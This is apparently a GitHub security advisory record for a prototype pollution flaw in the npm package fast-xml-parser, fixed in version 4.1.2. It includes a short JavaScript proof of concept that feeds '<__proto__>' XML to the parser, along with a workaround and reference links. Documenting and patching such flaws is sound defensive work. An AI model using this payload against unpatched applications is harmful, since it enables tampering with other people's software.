GHSA-x3cc-x39p-42qx
fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name
At a glance
- Published
- Updated
- CVE
- CVE-2021-26920, CVE-2023-26920
- Aliases
- GHSA-793h-6f7r-6qvm
- CVSS_V3
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Description
### Impact As a part of this vulnerability, user was able to se code using `__proto__` as a tag or attribute name. ```js const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser"); let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>" const parser = new XMLParser(); let jObj = parser.parse(XMLdata); console.log(jObj.polluted) // should return hacked ``` ### Patches The problem has been patched in v4.1.2 ### Workarounds User can check for "__proto__" in the XML string before parsing it to the parser. ### References https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7
Affected packages
| Package | Versions |
|---|---|
| npm · fast-xml-parser | introduced 0, fixed 4.1.2 |
References
- https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-x3cc-x39p-42qx WEB
- https://nvd.nist.gov/vuln/detail/CVE-2023-26920 ADVISORY
- https://github.com/NaturalIntelligence/fast-xml-parser/commit/2b032a4f799c63d83991e4f992f1c68e4dd05804 WEB
- https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7 WEB
- https://github.com/NaturalIntelligence/fast-xml-parser PACKAGE
- https://github.com/advisories/GHSA-793h-6f7r-6qvm ADVISORY
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |